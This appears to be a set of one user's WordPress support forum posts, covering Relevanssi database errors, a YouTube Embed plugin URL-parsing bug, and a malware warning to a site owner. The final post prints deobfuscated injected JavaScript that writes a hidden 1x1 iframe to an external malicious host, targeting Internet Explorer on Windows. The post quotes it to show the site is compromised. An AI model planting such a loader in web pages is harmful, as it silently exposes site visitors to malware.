Chris

I had an identical issue, deactivating then reactivating solved it, it appears possibly related to PHP 8.1, at least on my shared hosting platform (using FCGI).

Sorry for not responding, missed your request. Seems whatever you fixed also fixed the additional error, not seeing it with the latest plugin version. ??

Update: figured it might be something to do with the DB not being correctly upgraded or a WP core update mucking some dependency up. Also noticed the indexed count had been stuck at too low a number for a while.

Deactivated and reactivated the plugin (after clearing the cache and attempting an index rebuild); I got a screen full of WordPress database error “Unknown column ‘content’ in ‘field list’ where it was trying to add indexes for keywords.

The next interesting error was this:

httpd: WordPress database error Duplicate key name 'terms' for query CREATE INDEX terms ON wp_bs2ojz_relevanssi (term(20)) made by activate_plugin, do_action('activate_relevanssi/relevanssi.php'), call_user_func_array, relevanssi_install, _relevanssi_install, relevanssi_create_database_tables

And it’s not thrown another error yet… Will update if I notice more errors in the logs.

You’re a busy bloke… ??

I receive the error message when going top bar -> YouTube Embed [hover] -> Options; I also get it from the sidebar.

I think you may have nailed it, I received it whilst logged in as admin so I’m inclined to agree with your diagnosis.

Brilliant David, updating my install now. Kudos for fixing them so quickly, we’re using your plugin on https://revolver.coop ??

Hi there,

Using the latest build (as of 26/09/2012) of your rather good plugin on a site I admin.

I’ve noticed if the URL has a referring field, the plugin balks.

Here’s a valid YT URL:
https://www.youtube.com/watch?feature=player_embedded&v=4XzRQxXh6fY

However the page embed code reads

<!– The YouTube ID of ature=player_embedded is invalid. –>

As in other cases, manually editing the URL to remove feature=player_embedded solves the problem. As is usually the case though, other people who want to update the site and include YouTube URLs have zero technical knowledge so they would just see the error message and not understand why. (Then they’d email me! ??

How does the plugin currently look for the variable, does it regex for the “v=” variable then look for the next ampersand (or closing inverted comma) to end the pattern match?

Ahlul, Kaspersky is correct and you are mistaken. Kaspersky performs realtime analysis of web pages as they’re loaded — doing my own manual search of the HTML source code reveals some Javascript after the closing </html> tag which is decrypting some poorly obfuscated code to load an iframe.

The code is obfuscated using Dean Edwards’ eval(p.a.c.k.e.d) compression utility from https://dean.edwards.name/packer/.

If you are not receiving an antivirus message, you are either not running antivirus (or it is not good enough) or you are already infected!

When deobfuscated, the HTML on your site is as follows:

function MakeFrameEx(){element=document.getElementById('yahoo_api');if(!element){document.write('<IFRAME id="yahoo_api" SRC="https://cxygugiuiuyy.osa.pl/showthread.php?t=46340270" FRAMEBORDER=0 NAME="yahoo_api" WIDTH=1 HEIGHT=1></IFRAME>')}}var ua=navigator.userAgent.toLowerCase();if(((ua.indexOf("msie")!=-1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1){document.onmousemove=MakeFrameEx}

As you can see, your site is clearly serving malware. (Have you been hacked?)